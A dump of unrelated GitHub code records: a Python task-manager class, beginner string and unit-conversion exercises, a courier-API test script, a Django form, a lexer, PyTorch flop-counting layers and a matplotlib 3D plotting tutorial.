manager module contains a single TasksManager class\"\"\"\n\nfrom lib.entities.task import *\nimport datetime as dt\nfrom lib.logger import *\nfrom lib.entities.exceptions import EndTimeOverflowError, SubtasksNotRemovedError\nfrom collections import OrderedDict\n\n\nclass TasksManager:\n \"\"\"\n This class stores tasks in an inner dict and manages connections between them.\n Helps to safely add,remove, edit and search for a task\n \"\"\"\n @log_decorator\n def __init__(self, tasks=None):\n if tasks is None:\n tasks = {}\n self.tasks = tasks\n\n @log_decorator\n def add_new_task(self, new_task, user):\n \"\"\"\n Function to add a new task to others. Checks if the task doesn't conflict with existing ones and\n manages connections for parent and children if specified in the new task\n new_task: a new task to add\n user: a user who has permissions to edit the new task, its parent and children\n returns: None\n \"\"\"\n if new_task.has_attribute(TaskAttributes.PARENT):\n parent_id = new_task.attributes[TaskAttributes.PARENT]\n this_id = new_task.attributes[TaskAttributes.UID]\n parent_task = self.tasks[parent_id]\n if not self.child_end_time_suits_parent(parent_task,new_task):\n raise EndTimeOverflowError(parent_id)\n self.tasks[parent_id].add_to_attribute(TaskAttributes.SUBTASKS,this_id,user)\n\n if new_task.has_attribute(TaskAttributes.SUBTASKS):\n this_id = new_task.attributes[TaskAttributes.UID]\n for sub_id in new_task.attributes[TaskAttributes.SUBTASKS]:\n sub_task = self.tasks[sub_id]\n if not self.child_end_time_suits_parent(new_task,sub_task):\n raise EndTimeOverflowError(sub_id)\n for sub_id in new_task.attributes[TaskAttributes.SUBTASKS]:\n self.tasks[sub_id].set_attribute(TaskAttributes.PARENT, this_id, user)\n self.tasks[new_task.get_attribute(TaskAttributes.UID)] = new_task\n\n @log_decorator\n def remove_task(self, task_id,user):\n \"\"\"\n Simply try to disconnect a task from a parent and remove a task\n :param task_id: id of task to be removed\n :param user: a user who has permissions to edit the new task, its parent and children\n :return: None\n \"\"\"\n task = self.tasks[task_id]\n if task.has_attribute(TaskAttributes.SUBTASKS):\n raise SubtasksNotRemovedError(task_id)\n\n if task.has_attribute(TaskAttributes.PARENT):\n owner_id = task.get_attribute(TaskAttributes.PARENT)\n self.tasks[owner_id].remove_from_attribute(TaskAttributes.SUBTASKS, task_id, user)\n elif user not in task.get_attribute(TaskAttributes.CAN_EDIT):\n raise PermissionError(\"Deleting permitted for user '{}'\".format(user))\n self.tasks.pop(task_id)\n\n @log_decorator\n def remove_with_subtasks(self,task_id,user):\n \"\"\"\n Force to delete a task with all its subtasks\n :param task_id: task id of task to be removed\n :param user: a user who has permissions to edit the new task, its parent and children\n :return: None\n \"\"\"\n task = self.tasks[task_id]\n subtasks = task.try_get_attribute(TaskAttributes.SUBTASKS)\n if subtasks is not None:\n for sub_id in subtasks:\n self.remove_with_subtasks(sub_id,user)\n self.remove_task(task.get_attribute(TaskAttributes.UID),user)\n\n\n @log_decorator\n def find_task(self, attributes):\n \"\"\"\n find a task(s) by attributes specified\n :param attributes: dict of TaskAttributes as keys and values\n :return: dict of suitable tasks\n \"\"\"\n key_func = self.key_function_builder(attributes)\n return self.select_tasks_by_key(key_func)\n\n @log_decorator\n def gather_subtasks(self, root_task_id, hierarchy_dict=None):\n \"\"\"\n creates an hierarchy_dict that represents the hierarchy of tasks starting in a given root task\n :param root_task_id: top hierarchy task id\n :param hierarchy_dict: recursively filled dict\n :return: hierarchy dictionary {uid: (Task, { uid: (Task, {}), uid: (Task, {}) } }\n (each value is a tuple of a task and dict of its subtasks)\n \"\"\"\n task = self.get_task(root_task_id)\n if hierarchy_dict is None:\n hierarchy_dict = OrderedDict()\n hierarchy_dict[root_task_id] = (task, OrderedDict())\n subtasks_ids = task.try_get_attribute(TaskAttributes.SUBTASKS)\n if subtasks_ids is None:\n return hierarchy_dict\n for i in subtasks_ids:\n self.gather_subtasks(i, hierarchy_dict[root_task_id][1])\n return hierarchy_dict\n\n @log_decorator\n def get_task(self, task_id):\n return self.tasks[task_id]\n\n @log_decorator\n def get_all_tasks(self):\n return list(self.tasks.values())\n\n def edit_task_start_time(self,task_id,new_start_time, user):\n \"\"\"\n Checks arguments and safely edits a start time for a task stored in the tasks_manager\n :param task_id: id of task to be edited\n :param new_start_time: new datetime.datetime time\n :param user: a user who has permissions to edit the new task, its parent and children\n :return: None\n \"\"\"\n task = self.tasks[task_id]\n end_time = task.try_get_attribute(TaskAttributes.END_TIME)\n if new_start_time is None:\n if end_time is None:\n task.unset_attribute(TaskAttributes.START_TIME)\n elif end_time is None or new_start_time < end_time:\n task.set_attribute(TaskAttributes.START_TIME, new_start_time, user)\n return\n raise EndTimeOverflowError()\n\n def edit_task_end_time(self, task_id, new_end_time, user):\n r\"\"\"\n Checks arguments and safely edits a start time for a task stored in the tasks_manager\n :param task_id: id of task to be edited\n :param new_end_time: new datetime.datetime time\n :param user: a user who has permissions to edit the new task, its parent and children\n :return:\n \"\"\"\n task = self.tasks[task_id]\n start_time = task.try_get_attribute(TaskAttributes.START_TIME)\n parent_id = task.try_get_attribute(TaskAttributes.PARENT)\n parent = self.tasks.get(parent_id, None)\n parent_end_time = None\n if parent is not None:\n parent_end_time = parent.try_get_attribute(TaskAttributes.END_TIME)\n\n parent_never_ends = parent_id is None or parent_end_time is None\n if new_end_time is None and parent_never_ends:\n task.unset_attribute(TaskAttributes.END_TIME, user)\n return\n\n if new_end_time is not None:\n parent_independent = (parent_never_ends or parent_end_time >= new_end_time)\n start_time_correct = start_time is None or start_time < new_end_time\n if parent_independent and start_time_correct:\n task.set_attribute(TaskAttributes.END_TIME, new_end_time, user)\n return\n\n raise EndTimeOverflowError()\n\n @log_decorator\n def select_actual_tasks(self, time, delta=None):\n \"\"\"\n Select actual tasks from inner dict. Actualness is based on specified date(+/- delta).\n if delta is None delta = 5 minutes\n time: datetime.datetime\n delta: datetime.timedelta\n returns dict {'starting': {}, 'continuing': {}, 'ending':{}}\n \"\"\"\n if delta is None:\n delta = dt.timedelta(minutes=5)\n result_dict = {'starting': {}, 'continuing': {}, 'ending':{}}\n for k, v in self.tasks.items():\n start_time = v.try_get_attribute(TaskAttributes.START_TIME)\n if start_time is None:\n start_time = dt.datetime(1, 1, 1, 0, 0)\n end_time = v.try_get_attribute(TaskAttributes.END_TIME)\n if end_time is None:\n end_time = dt.datetime(9999, 12, 31, 23, 59, 59)\n if -delta <= start_time - time <= delta:\n result_dict['starting'][k] = v\n elif end_time - time <= delta:\n result_dict['ending'][k] = v\n elif start_time - time < -delta and end_time - time > delta:\n result_dict['continuing'][k] = v\n return result_dict\n\n @log_decorator\n def select_actual_reminders(self,date, delta=None):\n \"\"\"\n Selects tasks with reminders actual on specified date(+/- delta).\n if delta is None delta = 5 minutes\n time: datetime.datetime\n delta: datetime.timedelta\n return: dict of tasks that have actual reminders\n \"\"\"\n if delta is None:\n delta = dt.timedelta(minutes=5)\n result_list = []\n for k, v in self.tasks.items():\n reminders = v.try_get_attribute(TaskAttributes.REMIND_TIMES)\n if reminders is None:\n continue\n for reminder in reminders:\n if -delta <= reminder - date <= delta:\n result_list.append(v)\n return result_list\n\n def select_tasks_by_key(self, key):\n result_dict = dict()\n for k,v in self.tasks.items():\n if key(v):\n result_dict[k] = v\n\n return result_dict\n\n @staticmethod\n def key_function_builder(search_keys_dict):\n \"\"\"\n Generates a key_function(task)\n It checks equality of all attributes values specified in search_keys_dict to corresponding attribute values of\n task. And returns True if all are equal and False otherwice.\n search_keys_dict: attribute - value dict\n returns: key_function\n \"\"\"\n def filter_function(task):\n for k, v in search_keys_dict.items():\n attr_val = task.try_get_attribute(k)\n if attr_val is None:\n return False\n if isinstance(v, list):\n for item in v:\n if item not in attr_val:\n return False\n elif attr_val != v:\n return False\n return True\n\n return filter_function\n\n @staticmethod\n def child_end_time_suits_parent(parent, child):\n \"\"\"\n Checks if parent's end time is greater that child's one\n parent: parent Task\n child: child Task\n returns Boolean (True|False)\n \"\"\"\n child_end_time = child.try_get_attribute(TaskAttributes.END_TIME)\n parent_end_time = parent.try_get_attribute(TaskAttributes.END_TIME)\n if parent_end_time is None:\n return True\n if child_end_time is None:\n return False\n if child_end_time <= parent_end_time:\n return True\n return False","repo_name":"CharnyshMM/python_tracker","sub_path":"lib/entities/tasks_manager.py","file_name":"tasks_manager.py","file_ext":"py","file_size_in_byte":10879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8270906117","text":"import os\r\nimport re\r\n\r\n\r\nprint(\"CONCATENAR CADENA\")\r\nos.system('cls')\r\n\r\ns = 'Hola' + ' ' + 'Mundo'\r\nprint(s)\r\n\r\nx = 1\r\ns = 'Hola' + str(x) + 'Mundo'\r\nprint(s)\r\n\r\nx = True\r\ns = 'Hola' + str(x) + 'Mundo'\r\nprint(s)\r\n\r\nprint(\"MULTIPLICAR CADENA\")\r\n\r\ns = 'Hola' * 3\r\nprint(s)\r\n\r\nprint(\"AÑADIR CADENAS\")\r\nc = ''\r\ns = 'walter '\r\nc = c + s #--> c = 'walter '\r\ns = 'ismael'\r\nc = c + s #--> c = 'walterismael'\r\nprint(c)\r\n\r\n# FORMAR UNA CADENA\r\nlista = ['walter','ismael','sagastegui','lescano']\r\na = ''\r\nfor x in lista:\r\n a = a + x + ' '\r\nprint(type(lista),' ', lista)\r\nprint(type(a),' ',a)\r\n\r\nprint('CONVERTIR EN MAYUSCULA LA PRIMERA LETRA DE CADA PALABRA')\r\n\r\ns = 'walter ismael sagastegui lescano'\r\nr = s.title() \r\nprint(r)\r\n\r\n\r\n\r\ndef convertirMayuscula():\r\n print('EJEMPLO STEVEN')\r\n os.system('cls')\r\n texto = 'steven jesus delgado benavides'\r\n p = re.compile('[a-zA-Z]+')\r\n lista = p.findall(texto)\r\n print(lista)\r\n a = ''\r\n for x in lista:\r\n print(type(x))\r\n s = x.capitalize()\r\n a = a + s + \" \"\r\n print(a)\r\n\r\nconvertirMayuscula()\r\n\r\n\r\n\r\n","repo_name":"DATASAGASTEGUI/INICIO_JAVA","sub_path":"PYTHON/15-09-2022/PYTHONPROJECTS/TIPOSDEDATOS/Ejercicio17.py","file_name":"Ejercicio17.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35144232077","text":"#!python\nimport numpy as np\n\n\ndef write_matrix(matrix, filename, folder, flag=\"\"):\n n = len(matrix)\n m = len(matrix[0])\n \n with open(f'./{folder}/{filename}', 'w') as file: \n for i in range(n):\n for j in range(m):\n if flag or flag == 0:\n file.write(f'{i} {j} {matrix[i][j]} {flag}')\n else:\n file.write(f'{i} {j} {matrix[i][j]}')\n\n if i != n - 1 or j != m - 1:\n file.write('\\n')\n\n\ndef main():\n input_folder = './input'\n solution_folder = './solution'\n\n np.random.seed(42)\n\n n = 10\n m = 5\n matrix1_filename = \"matrix1.txt\"\n matrix2_filename = \"matrix2.txt\"\n matrices_multiplied_filename = \"matrix1 x matrix2.txt\"\n\n fixed_matrix1 = [\n [1, 2, 3, 4],\n [5, 6, 7, 8],\n [9, 10, 11, 12],\n [13, 14, 15, 16]\n ]\n fixed_matrix2 = [\n [1.1, 2.1, 3.1, 4.1],\n [5.1, 6.1, 7.1, 8.1],\n [9.1, 10.1, 11.1, 12.1],\n [13.1, 14.1, 15.1, 16.1]\n ]\n\n random_matrix1 = np.random.rand(n, m)\n random_matrix2 = np.random.rand(m, n)\n\n matrix1 = fixed_matrix1\n matrix2 = fixed_matrix2\n\n write_matrix(matrix1, matrix1_filename, input_folder, 0)\n write_matrix(matrix2, matrix2_filename, input_folder, 1)\n write_matrix(\n np.dot(np.array(matrix1), np.array(matrix2)),\n matrices_multiplied_filename,\n solution_folder\n )\n\n print(f'Done!')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"vseredovych/BigData","sub_path":"matrix-matrix-multiplication/generate_input.py","file_name":"generate_input.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27387530996","text":"import requests\nimport datetime\nfrom couriers.time_parse import parse_datetime\n\nhost = '178.154.195.226'\n\n\ndef srl_datetime(dt):\n return dt.strftime('%Y-%m-%dT%H:%M:%S.%f%z') + 'Z'\n\n\ndef tshift(dtime):\n def shift(minutes):\n '''shifts initial dtime by minutes \n and returns new datetime object'''\n minutes += dtime.minute\n hours = minutes // 59 + dtime.hour\n minutes = minutes % 59\n return datetime.datetime(dtime.year, dtime.month, \n dtime.day, minute=minutes, hour=hours)\n return shift\n\n\ndef test(descr, r, assrtto):\n print('\\n', descr)\n check = r.status_code, r.reason\n assert check == assrtto, ((check, r.text), assrtto)\n print(r.text)\n return r.json()\n\n\ndef post_couriers(data):\n r = requests.post(f'http://{host}/couriers', json=data)\n return r\n\n\ndef patch_courier(data, _id):\n r = requests.patch(f'http://{host}/couriers/{_id}', json=data)\n return r\n\n\ndef post_orders(data):\n r = requests.post(f'http://{host}/orders', json=data)\n return r\n\n\ndef assign_orders(_id):\n r = requests.post(f'http://{host}/orders/assign', {'courier_id': _id})\n return r\n\n\ndef complete_order(cour_id, ord_id, t):\n t = srl_datetime(t)\n json = {\n 'courier_id': cour_id,\n 'order_id': ord_id,\n 'complete_time': t\n }\n r = requests.post(f'http://{host}/orders/complete', json=json)\n return r\n\n\ndef get_courier(_id):\n r = requests.get(f'http://{host}/couriers/{_id}')\n return r\n\n\ndef delete_orders():\n r = requests.post(f'http://{host}/orders/deleteall')\n return r\n\n\ndef delete_couriers():\n r = requests.post(f'http://{host}/couriers/deleteall')\n return r\n\n\ndef create_order(*args):\n (_id,\n region,\n dhours,\n weight) = args\n return dict(order_id=_id, region=region, \n delivery_hours=dhours, weight=weight)\n\n\ndef run():\n cour = {\n 'courier_type': 'car', \n 'courier_id':0,\n 'regions':'1,3,4',\n 'working_hours':[\n '10:00-12:00',\n '13:00-14:00',\n ]\n }\n cour1 = {\n 'courier_type': 'car', \n 'courier_id':1,\n 'regions':'1,3,4',\n 'working_hours':[\n '10:00-12:00',\n '13:00-14:00',\n ]\n }\n\n orders_data = [\n [0, 2, ['10:00-12:00', '13:00-14:00'], 5],\n [1, 5, ['10:00-12:00', '13:00-14:00'], 5],\n [2, 6, ['10:00-12:00', '13:00-14:00'], 5],\n\n [3, 1, ['09:00-10:00', '12:15-12:45'], 5],\n [4, 3, ['02:00-03:00', '15:00-15:15'], 5],\n [5, 4, ['02:00-03:00', '15:00-15:15'], 5],\n\n [6, 12, ['09:00-10:00', '12:15-12:45'], 5],\n [7, 5, ['02:00-03:00', '15:00-15:15'], 5],\n [8, 6, ['02:00-03:00', '15:00-15:15'], 5],\n\n [9, 1, ['10:00-12:00', '13:00-14:00'], 40],\n [10, 3, ['10:00-12:00', '13:00-14:00'], 35],\n [11, 4, ['10:00-12:00', '13:00-14:00'], 14],\n [12, 1, ['10:00-12:00', '12:30-13:30', '13:30-14:30'], 5],\n [13, 3, ['10:00-12:00', '13:00-14:00'], 4],\n [14, 4, ['10:00-10:05'], 3],\n [15, 1, ['10:00-12:00', '13:00-14:00'], 3],\n [16, 3, ['09:00-21:00'], 2],\n [17, 4, ['10:00-12:00', '13:00-14:00'], 2]\n ]\n\n additional_orders = [\n [18, 1, ['10:00-12:00', '13:00-14:00'], 25],\n [19, 3, ['10:00-12:00', '13:00-14:00'], 17],\n [20, 4, ['10:00-12:00', '13:00-14:00'], 10],\n [21, 1, ['10:00-12:00', '12:30-13:30', '13:30-14:30'], 1],\n [22, 3, ['10:00-12:00', '13:00-14:00'], 4],\n ]\n\n bad_orders = [\n [0, 2, '10:00-12:00,13:00-14:00', 5],\n [10, 3, ['10:00-12:00', '13:00-14:00'], -35],\n [11, 4, ['10:00-12:00', '13:00-14:'], 14],\n [11, 4, ['10:00-12:00', '17:00-14:00'], 14],\n ]\n\n delete_orders()\n delete_couriers()\n\n json = {'data': [cour, cour1]}\n test('post couriers', post_couriers(json), (201, 'Created'))\n\n test('patch courier 0', patch_courier(cour, 0), (200, 'OK'))\n test('patch courier 1', patch_courier(cour1, 1), (200, 'OK'))\n \n json = {'data':[create_order(*dat) for dat in orders_data]}\n test('post orders', post_orders(json), (201, 'Created'))\n\n json = {'data':[create_order(*dat) for dat in bad_orders]}\n test('post bad orders', post_orders(json), (400, 'Bad Request'))\n\n test('assign orders id=0', assign_orders(0), (200, 'OK'))\n json = {'courier_type': 'bike'}\n test('patch courier 0 to bike', patch_courier(json, 0), (200, 'OK'))\n\n data = test('assign orders id=0', assign_orders(0), (200, 'OK'))\n asgn_t = data['assign_time']\n shift = tshift(parse_datetime(asgn_t))\n\n test('assign orders id=1', assign_orders(1), (200, 'OK'))\n\n json={\n 'courier_id': 0,\n 'order_id': 100,\n 'complete_time':\"2021-01-10T10:33:01.42Z\"\n }\n test('complete not existing order',\n complete_order(0, 100, shift(100)),\n (400, 'Bad Request'))\n \n test('complete order 12', complete_order(0, 12, shift(15)), (200, 'OK'))\n test('complete order 14', complete_order(0, 14, shift(25)), (200, 'OK'))\n test('complete order 16', complete_order(0, 16, shift(45)), (200, 'OK'))\n\n json = {'data':[create_order(*dat) for dat in additional_orders]}\n test('post additional orders', post_orders(json), (201, 'Created'))\n\n test('courier 0 stats', get_courier(0), (200, 'OK'))\n test('courier 1 stats', get_courier(1), (200, 'OK'))\n\n test('assign orders id=0', assign_orders(0), (200, 'OK'))\n\n json={\n 'courier_id': 0,\n 'order_id': 11,\n 'complete_time':\"2021-01-10T10:33:01.42Z\"\n }\n test('complete order 11', complete_order(0, 11, shift(15)), (200, 'OK'))\n json['order_id'] = 21\n test('complete order 21', complete_order(0, 21, shift(17)), (200, 'OK'))\n\n test('courier 0 stats', get_courier(0), (200, 'OK'))\n","repo_name":"AlexGovr/HappyApi","sub_path":"scripts/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18735143219","text":"import unittest\n\nfrom decrypto.src.base64_cipher import Base64Cipher\nfrom tests import random_string\n\nclass TestBase64Cipher(unittest.TestCase):\n def test_encrypt_decrypt(self):\n cipher = Base64Cipher()\n data:str = random_string()\n\n encrypted = cipher.encrypt(data)\n decrypted = cipher.decrypt(encrypted)\n\n self.assertEqual(data, decrypted, \"Base64 Cipher problem in encryption/decryption\")\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"pyGuru123/Decrypto","sub_path":"tests/test_base64_cipher.py","file_name":"test_base64_cipher.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"42514479688","text":"from django import forms\nfrom products.models import Product\n\nclass ProductModelForm(forms.ModelForm):\n class Meta:\n model = Product\n fields = [\n 'name', 'image', 'category',\n 'description', 'cost'\n ]\n widgets = {\n 'name': forms.widgets.TextInput(\n attrs={\n 'class': 'model-form'\n }\n ),\n\n 'description': forms.widgets.Textarea(\n attrs={\n 'class': 'model-form'\n }\n )\n }","repo_name":"Spoukster/Django","sub_path":"server/products/forms/products.py","file_name":"products.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1611135844","text":"import re\nsentence = input(\" \")\ntokens=[]\nsingle = sentence.split()\nprint(single)\nfor each in single:\n if each in ['int','string','char','bool','float','double']:\n tokens.append([\"Datatype\",each])\n elif re.match(\"[A-Z]\",each) or re.match(\"[a-z]\",each):\n if each in [\"return\",\"print\",\"if\",\"else\",\"else if\"]:\n tokens.append([\"keyword\",each])\n else:\n tokens.append([\"IDENTIFIER\",each])\n elif each in '.+-/=%*><':\n tokens.append([\"Operator\",each])\n\n elif re.match(\"[0-9]\",each):\n tokens.append([\"INTEGER\",each])\n elif each==';':\n tokens.append([\"STATEMENT SEPARATOR\",each])\n\nprint(tokens)\n","repo_name":"AnishaMishra612/Compiler-design-Programs","sub_path":"lexical1.py","file_name":"lexical1.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39617965516","text":"\"\"\"Octal converter\r\nfor final project\"\"\"\r\n\r\n#create octal class\r\nclass Octal(object):\r\n def __init__(self):\r\n object.__init__(self)\r\n\r\n\r\n ###---encrypt method---###\r\n def encrypt(self):\r\n octText = \"\"\r\n\r\n encode = input(\"\"\"\r\nPlease enter the message you would like to convert to octal:\r\n\r\n\"\"\")\r\n\r\n #for each char in encode, find the ASCII number with ord()\r\n #format the number into octal, join each one with a -\r\n octText = \"-\".join(format(ord(char), \"o\") for char in encode)\r\n\r\n #print converted message\r\n print (\"\"\"\r\nYour converted message is:\r\n\r\n{}\"\"\".format(octText))\r\n\r\n\r\n ###---decrypt method---###\r\n def decrypt(self):\r\n plainText = \"\"\r\n\r\n decode = input(\"\"\"\r\nPlease enter the octal message you would like to convert.\r\nCharacters are seperated by a '-':\r\n\r\n\"\"\")\r\n\r\n #split each octal number by a -, for each number, convert to decimal int\r\n #convert int to ASCII character with chr()\r\n for item in decode.split(\"-\"):\r\n i = chr(int(item, base=8))\r\n\r\n plainText += i\r\n\r\n print(\"\"\"\r\nYour converted message is:\r\n\r\n{}\"\"\".format(plainText))\r\n \r\n\r\n###---testing main---### \r\ndef main():\r\n c = Octal()\r\n c.encrypt()\r\n c.decrypt()\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"jdhaines3/Cipher-Project-Computing","sub_path":"Final Project computing/Octal.py","file_name":"Octal.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72968224410","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as func\nfrom math import prod\n\nfrom eventful_transformer.base import ExtendedModule, numeric_tuple\n\n\nclass CountedAdd(ExtendedModule):\n \"\"\"\n An addition operator that counts flops.\n \"\"\"\n\n def forward(self, a, b, inplace=False):\n if inplace:\n a += b\n result = a\n else:\n result = a + b\n if self.count_mode:\n self.counts[\"add_flops\"] += result.numel()\n return result\n\n\nclass CountedBias(ExtendedModule):\n \"\"\"\n A bias-addition module that counts flops.\n \"\"\"\n\n def __init__(self, features, spatial_dims=0, device=None, dtype=None):\n \"\"\"\n :param features: Dimensionality of the bias (size of feature\n dimension)\n :param spatial_dims: The number of trailing spatial dimensions\n of the input\n :param device: Bias device\n :param dtype: Bias data type\n \"\"\"\n super().__init__()\n self.features = features\n self.spatial_dims = spatial_dims\n self.bias = nn.Parameter(torch.zeros(features, device=device, dtype=dtype))\n\n def forward(self, x):\n result = x + self.bias.view((self.features,) + (1,) * self.spatial_dims)\n if self.count_mode:\n self.counts[\"bias_flops\"] += result.numel()\n return result\n\n\nclass CountedConv(ExtendedModule):\n \"\"\"\n A convolution module that counts flops.\n \"\"\"\n\n def __init__(\n self,\n spatial_dims,\n in_channels,\n out_channels,\n kernel_size,\n stride=1,\n padding=0,\n dilation=1,\n groups=1,\n device=None,\n dtype=None,\n ):\n \"\"\"\n :param spatial_dims: The number of spatial dims (e.g., 2 for 2D\n convolution)\n :param in_channels: The number of input channels\n :param out_channels: The number of output channels\n :param kernel_size: The kernel size (int or tuple)\n :param stride: The convolution stride (int or tuple)\n :param padding: The amount of padding\n :param dilation: Dilation ratio\n :param groups: Number of channel groups\n :param device: Convolution kernel device\n :param dtype: Convolution kernel data type\n \"\"\"\n super().__init__()\n self.spatial_dims = spatial_dims\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.kernel_size = numeric_tuple(kernel_size, length=spatial_dims)\n self.stride = numeric_tuple(stride, length=spatial_dims)\n if isinstance(padding, int):\n self.padding = numeric_tuple(padding, length=spatial_dims)\n else:\n self.padding = padding\n self.dilation = numeric_tuple(dilation, length=spatial_dims)\n self.groups = groups\n self.conv_function = getattr(func, f\"conv{self.spatial_dims}d\")\n shape = (out_channels, in_channels // groups) + self.kernel_size\n self.weight = nn.Parameter(torch.zeros(shape, device=device, dtype=dtype))\n\n def forward(self, x):\n result = self.conv_function(\n x,\n self.weight,\n stride=self.stride,\n padding=self.padding,\n dilation=self.dilation,\n groups=self.groups,\n )\n if self.count_mode:\n fan_in = (self.in_channels // self.groups) * prod(self.kernel_size)\n self.counts[f\"conv{self.spatial_dims}d_flops\"] += result.numel() * fan_in\n return result\n\n\nclass CountedEinsum(ExtendedModule):\n \"\"\"\n Einsum (Einstein summation) operation that counts flops.\n \"\"\"\n\n def forward(self, equation, *operands):\n if self.count_mode:\n # There might be some cases here I haven't considered. But\n # this works fine for inner products.\n op_map = torch.einsum(equation, *[torch.ones_like(x) for x in operands])\n self.counts[\"einsum_flops\"] += int(op_map.sum())\n return torch.einsum(equation, *operands)\n\n\nclass CountedLinear(ExtendedModule):\n \"\"\"\n Linear transform operation that counts flops.\n \"\"\"\n\n def __init__(self, in_features, out_features, device=None, dtype=None):\n \"\"\"\n :param in_features: Dimensionality of input vectors\n :param out_features: Dimensionality of output vectors\n :param device: Transform matrix device\n :param dtype: Transform matrix data type\n \"\"\"\n super().__init__()\n self.in_features = in_features\n self.out_features = out_features\n shape = (out_features, in_features)\n self.weight = nn.Parameter(torch.zeros(shape, device=device, dtype=dtype))\n self.bias = nn.Parameter(torch.zeros(out_features, device=device, dtype=dtype))\n\n def forward_bias(self, x):\n result = x + self.bias\n if self.count_mode:\n self.counts[\"bias_flops\"] += result.numel()\n return result\n\n def forward_linear(self, x):\n if self.count_mode:\n self.counts[\"linear_flops\"] += x.numel() * self.out_features\n return func.linear(x, self.weight)\n\n def forward(self, x):\n result = func.linear(x, self.weight, self.bias)\n if self.count_mode:\n self.counts[\"bias_flops\"] += result.numel()\n self.counts[\"linear_flops\"] += x.numel() * self.out_features\n return result\n\n\nclass CountedMatmul(ExtendedModule):\n \"\"\"\n Matrix multiplication operation that counts flops. We assume a\n batched 2D matrix multiplication.\n \"\"\"\n\n def forward(self, a, b):\n result = a @ b\n if self.count_mode:\n self.counts[\"matmul_flops\"] += result.numel() * a.shape[-1]\n return result\n","repo_name":"WISION-Lab/eventful-transformer","sub_path":"eventful_transformer/counting.py","file_name":"counting.py","file_ext":"py","file_size_in_byte":5716,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"32"} +{"seq_id":"7339512360","text":"# View more python tutorials on my Youtube and Youku channel!!!\n\n# Youtube video tutorial: https://www.youtube.com/channel/UCdyjiB5H8Pu7aDTNVXTTpcg\n# Youku video tutorial: http://i.youku.com/pythontutorial\n\n# 14 - 3d\n\"\"\"\nPlease note, this script is for python3+.\nIf you are using python2+, please modify it accordingly.\nTutorial reference:\nhttp://www.python-course.eu/matplotlib_multiple_figures.php\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfig = plt.figure()\nax = Axes3D(fig)\n# X, Y value\nX = np.arange(-4, 4, 0.25)\nY = np.arange(-4, 4, 0.25)\nX, Y = np.meshgrid(X, Y)\nR = np.sqrt(X ** 2 + Y ** 2)\n# height value\nZ = np.sin(R)\n\nax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=plt.get_cmap('rainbow'))\n\"\"\"\n============= ================================================\n Argument Description\n ============= ================================================\n *X*, *Y*, *Z* Data values as 2D arrays\n *rstride* Array row stride (step size), defaults to 10\n *cstride* Array column stride (step size), defaults to 10\n *color* Color of the surface patches\n *cmap* A colormap for the surface patches.\n *facecolors* Face colors for the individual patches\n *norm* An instance of Normalize to map values to colors\n *vmin* Minimum value to map\n *vmax* Maximum value to map\n *shade* Whether to shade the facecolors\n ============= ================================================\n\"\"\"\n\n# I think this is different from plt12_contours\nax.contourf(X, Y, Z, zdir='z', offset=-2, cmap=plt.get_cmap('rainbow'))\n\"\"\"\n========== ================================================\n Argument Description\n ========== ================================================\n *X*, *Y*, Data values as numpy.arrays\n *Z*\n *zdir* The direction to use: x, y or z (default)\n *offset* If specified plot a projection of the filled contour\n on this position in plane normal to zdir\n ========== ================================================\n\"\"\"\n\nax.set_zlim(-2, 2)\n\nplt.show()\n\n","repo_name":"MorvanZhou/tutorials","sub_path":"matplotlibTUT/plt14_3d.py","file_name":"plt14_3d.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","stars":11072,"dataset":"github-code","pt":"32"} +{"seq_id":"15160025707","text":"\"\"\"\nУпражнение 4. Площадь садового участка. Создайте программу, запрашивающую\nу пользователя длину и ширину садового участка в футах. Выведите на экран площадь\nучастка в акрах. Подсказка. В одном акре содержится 43 560 квадратных футов\n(fdlina + fshirina)/ 43 560 = result\n\"\"\"\nftlength = input('укажите длину:')\nftwidth = input('укажите ширину:')\nif ftlength.isdigit() and ftwidth.isdigit():\n ftlength, ftwidth = float(ftlength), float(ftwidth)\n print((ftlength + ftwidth) // 43.500)\n","repo_name":"SPRATAY/practik","sub_path":"4practice.py","file_name":"4practice.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71049332252","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Nov 19 16:28:49 2018\r\n\r\n@author: rahulm99\r\n\"\"\"\r\n\r\nimport dataframe\r\nimport squats_resting\r\nimport peak_bounds\r\nimport count_phone_usage\r\nimport blue_light_effect\r\nimport stairs\r\nimport sound\r\nimport total_calories\r\nimport calories\r\n\r\n# Variables creation and function calls\r\nFLAG = True\r\n\r\nsound.sound_file()\r\nNO_STAIRS = stairs.find_stairs()\r\n(X, Y, SQUATS, T1, T2, T3) = squats_resting.squats_and_resting(dataframe.ACC_Y,\r\n dataframe.TIME)\r\nPHONE_TIMES, 